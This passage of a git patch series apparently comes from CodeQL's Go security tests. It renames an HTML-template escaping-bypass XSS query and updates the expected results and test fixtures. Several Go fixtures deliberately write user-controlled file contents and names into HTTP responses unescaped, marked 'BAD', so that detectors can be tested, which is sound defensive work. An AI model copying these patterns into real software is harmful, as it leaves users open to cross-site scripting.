- + diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql similarity index 100% rename from go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql rename to go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughBad.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go similarity index 100% rename from go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughBad.go rename to go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughGood.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go similarity index 100% rename from go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughGood.go rename to go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected deleted file mode 100644 index feb98b69d5e..00000000000 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected +++ /dev/null @@ -1,60 +0,0 @@ -#select -| HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | untrusted source | -edges -| HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | provenance | | -| HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | provenance | | -| HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | provenance | | -| HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | provenance | | -| HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | provenance | | -| HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | provenance | | -| HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | provenance | Src:MaD:1 Config | -models -| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | -nodes -| HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | semmle.label | c | -| HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | semmle.label | d | -| HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | semmle.label | e | -| HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | semmle.label | b | -| HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | semmle.label | f | -| HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | semmle.label | g | -subpaths diff --git a/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected new file mode 100644 index 00000000000..84099f5dd29 --- /dev/null +++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected @@ -0,0 +1,60 @@ +#select +| HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | untrusted source | +edges +| HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | provenance | | +| HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | provenance | | +| HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | provenance | | +| HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | provenance | | +| HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | provenance | | +| HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | provenance | | +| HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | provenance | | +| HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | provenance | | +| HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | provenance | | +| HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | provenance | Src:MaD:1 Config | +models +| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | +nodes +| HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | semmle.label | a | +| HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | semmle.label | a | +| HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | semmle.label | a | +| HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | semmle.label | c | +| HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | semmle.label | d | +| HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | semmle.label | e | +| HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | semmle.label | b | +| HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | semmle.label | f | +| HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | semmle.label | g | +subpaths diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go similarity index 100% rename from go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go rename to go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref similarity index 61% rename from go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref rename to go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref index 61712749b14..9ea7791dff2 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref @@ -1,4 +1,4 @@ -query: Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +query: Security/CWE-079/HtmlTemplateEscapingBypassXss.ql postprocess: - utils/test/PrettyPrintModels.ql - utils/test/InlineExpectationsTestQuery.ql From e6c19b0cbd49793d7e6fd498da9533e05f9e6723 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 25 Apr 2025 10:15:10 +0100 Subject: [PATCH 13/36] Modernize tests --- .../Security/CWE-079/ReflectedXss.expected | 12 ++++++------ .../query-tests/Security/CWE-079/StoredXss.expected | 6 ++---- go/ql/test/query-tests/Security/CWE-079/StoredXss.go | 4 ++-- .../query-tests/Security/CWE-079/StoredXssGood.go | 4 ++-- go/ql/test/query-tests/Security/CWE-079/go.mod | 2 +- .../query-tests/Security/CWE-079/reflectedxsstest.go | 4 ++-- .../query-tests/Security/CWE-079/websocketXss.go | 6 +++--- 7 files changed, 18 insertions(+), 20 deletions(-) diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected index 647113f3c6b..91b39e0e2a0 100644 --- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected +++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected @@ -30,10 +30,10 @@ edges | contenttype.go:73:10:73:28 | call to FormValue | contenttype.go:79:11:79:14 | data | provenance | Src:MaD:8 | | contenttype.go:88:10:88:28 | call to FormValue | contenttype.go:91:4:91:7 | data | provenance | Src:MaD:8 | | contenttype.go:113:10:113:28 | call to FormValue | contenttype.go:114:50:114:53 | data | provenance | Src:MaD:8 | -| reflectedxsstest.go:31:2:31:44 | ... := ...[0] | reflectedxsstest.go:32:34:32:37 | file | provenance | Src:MaD:7 | +| reflectedxsstest.go:31:2:31:44 | ... := ...[0] | reflectedxsstest.go:32:30:32:33 | file | provenance | Src:MaD:7 | | reflectedxsstest.go:31:2:31:44 | ... := ...[1] | reflectedxsstest.go:34:46:34:60 | selection of Filename | provenance | Src:MaD:7 | -| reflectedxsstest.go:32:2:32:38 | ... := ...[0] | reflectedxsstest.go:33:49:33:55 | content | provenance | | -| reflectedxsstest.go:32:34:32:37 | file | reflectedxsstest.go:32:2:32:38 | ... := ...[0] | provenance | MaD:13 | +| reflectedxsstest.go:32:2:32:34 | ... := ...[0] | reflectedxsstest.go:33:49:33:55 | content | provenance | | +| reflectedxsstest.go:32:30:32:33 | file | reflectedxsstest.go:32:2:32:34 | ... := ...[0] | provenance | MaD:13 | | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | reflectedxsstest.go:33:17:33:56 | call to Sprintf | provenance | MaD:12 | | reflectedxsstest.go:33:17:33:56 | call to Sprintf | reflectedxsstest.go:33:10:33:57 | type conversion | provenance | | | reflectedxsstest.go:33:49:33:55 | content | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | provenance | | @@ -81,7 +81,7 @@ models | 10 | Source: net/http; Request; true; URL; ; ; ; remote; manual | | 11 | Source: nhooyr.io/websocket; Conn; true; Read; ; ; ReturnValue[1]; remote; manual | | 12 | Summary: fmt; ; false; Sprintf; ; ; Argument[1].ArrayElement; ReturnValue; taint; manual | -| 13 | Summary: io/ioutil; ; false; ReadAll; ; ; Argument[0]; ReturnValue[0]; taint; manual | +| 13 | Summary: io; ; false; ReadAll; ; ; Argument[0]; ReturnValue[0]; taint; manual | | 14 | Summary: io; Reader; true; Read; ; ; Argument[receiver]; Argument[0]; taint; manual | | 15 | Summary: mime/multipart; Part; true; FileName; ; ; Argument[receiver]; ReturnValue; taint; manual | | 16 | Summary: mime/multipart; Reader; true; NextPart; ; ; Argument[receiver]; ReturnValue[0]; taint; manual | @@ -108,8 +108,8 @@ nodes | contenttype.go:114:50:114:53 | data | semmle.label | data | | reflectedxsstest.go:31:2:31:44 | ... := ...[0] | semmle.label | ... := ...[0] | | reflectedxsstest.go:31:2:31:44 | ... := ...[1] | semmle.label | ... := ...[1] | -| reflectedxsstest.go:32:2:32:38 | ... := ...[0] | semmle.label | ... := ...[0] | -| reflectedxsstest.go:32:34:32:37 | file | semmle.label | file | +| reflectedxsstest.go:32:2:32:34 | ... := ...[0] | semmle.label | ... := ...[0] | +| reflectedxsstest.go:32:30:32:33 | file | semmle.label | file | | reflectedxsstest.go:33:10:33:57 | type conversion | semmle.label | type conversion | | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | semmle.label | []type{args} [array] | | reflectedxsstest.go:33:17:33:56 | call to Sprintf | semmle.label | call to Sprintf | diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected b/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected index 89612f9722b..4e2958c767e 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected @@ -1,9 +1,7 @@ #select -| StoredXss.go:13:21:13:36 | ...+... | StoredXss.go:13:21:13:31 | call to Name | StoredXss.go:13:21:13:36 | ...+... | Stored cross-site scripting vulnerability due to $@. | StoredXss.go:13:21:13:31 | call to Name | stored value | | stored.go:30:22:30:25 | name | stored.go:18:3:18:28 | ... := ...[0] | stored.go:30:22:30:25 | name | Stored cross-site scripting vulnerability due to $@. | stored.go:18:3:18:28 | ... := ...[0] | stored value | | stored.go:61:22:61:25 | path | stored.go:59:30:59:33 | definition of path | stored.go:61:22:61:25 | path | Stored cross-site scripting vulnerability due to $@. | stored.go:59:30:59:33 | definition of path | stored value | edges -| StoredXss.go:13:21:13:31 | call to Name | StoredXss.go:13:21:13:36 | ...+... | provenance | | | stored.go:18:3:18:28 | ... := ...[0] | stored.go:25:14:25:17 | rows | provenance | Src:MaD:1 | | stored.go:25:14:25:17 | rows | stored.go:25:29:25:33 | &... | provenance | FunctionModel | | stored.go:25:29:25:33 | &... | stored.go:30:22:30:25 | name | provenance | | @@ -11,8 +9,6 @@ edges models | 1 | Source: database/sql; DB; true; Query; ; ; ReturnValue[0]; database; manual | nodes -| StoredXss.go:13:21:13:31 | call to Name | semmle.label | call to Name | -| StoredXss.go:13:21:13:36 | ...+... | semmle.label | ...+... | | stored.go:18:3:18:28 | ... := ...[0] | semmle.label | ... := ...[0] | | stored.go:25:14:25:17 | rows | semmle.label | rows | | stored.go:25:29:25:33 | &... | semmle.label | &... | @@ -20,3 +16,5 @@ nodes | stored.go:59:30:59:33 | definition of path | semmle.label | definition of path | | stored.go:61:22:61:25 | path | semmle.label | path | subpaths +testFailures +| StoredXss.go:13:39:13:63 | comment | Missing result: Alert[go/stored-xss] | diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go index 30774df3924..05e865be886 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go @@ -2,12 +2,12 @@ package main import ( "io" - "io/ioutil" "net/http" + "os" ) func ListFiles(w http.ResponseWriter, r *http.Request) { - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, file.Name()+"\n") // $ Alert[go/stored-xss] diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go b/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go index 364b9887466..b0f5e936a6a 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go @@ -4,13 +4,13 @@ import ( "html" "html/template" "io" - "io/ioutil" "net/http" + "os" ) func ListFiles1(w http.ResponseWriter, r *http.Request) { var template template.Template - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, html.EscapeString(file.Name())+"\n") diff --git a/go/ql/test/query-tests/Security/CWE-079/go.mod b/go/ql/test/query-tests/Security/CWE-079/go.mod index 67a02662281..aaab77bf039 100644 --- a/go/ql/test/query-tests/Security/CWE-079/go.mod +++ b/go/ql/test/query-tests/Security/CWE-079/go.mod @@ -1,6 +1,6 @@ module codeql-go-tests/CWE-079 -go 1.14 +go 1.24 require ( github.com/gobwas/ws v1.0.3 diff --git a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go index 65024f6b865..b3ddc79535b 100644 --- a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go +++ b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go @@ -3,7 +3,7 @@ package main import ( "encoding/json" "fmt" - "io/ioutil" + "io" "net/http" ) @@ -29,7 +29,7 @@ func ErrTest(w http.ResponseWriter, r http.Request) { w.Write([]byte(fmt.Sprintf("Cookie check error: %v", err))) // GOOD: Cookie's err return is harmless http.Error(w, fmt.Sprintf("Cookie result: %v", cookie), 500) // Good: only plain text is written. file, header, err := r.FormFile("someFile") // $ Source[go/reflected-xss] - content, err2 := ioutil.ReadAll(file) + content, err2 := io.ReadAll(file) w.Write([]byte(fmt.Sprintf("File content: %v", content))) // $ Alert[go/reflected-xss] // BAD: file content is user-controlled w.Write([]byte(fmt.Sprintf("File name: %v", header.Filename))) // $ Alert[go/reflected-xss] // BAD: file header is user-controlled w.Write([]byte(fmt.Sprintf("FormFile error: %v", err))) // GOOD: FormFile's err return is harmless diff --git a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go index 1313f431dd5..aa8bc8e41ad 100644 --- a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go @@ -15,10 +15,10 @@ import ( nhooyr "nhooyr.io/websocket" ) -func marshal(v interface{}) (data []byte, payloadType byte, err error) { +func marshal(v any) (data []byte, payloadType byte, err error) { return nil, 0, nil } -func unmarshal(data []byte, payloadType 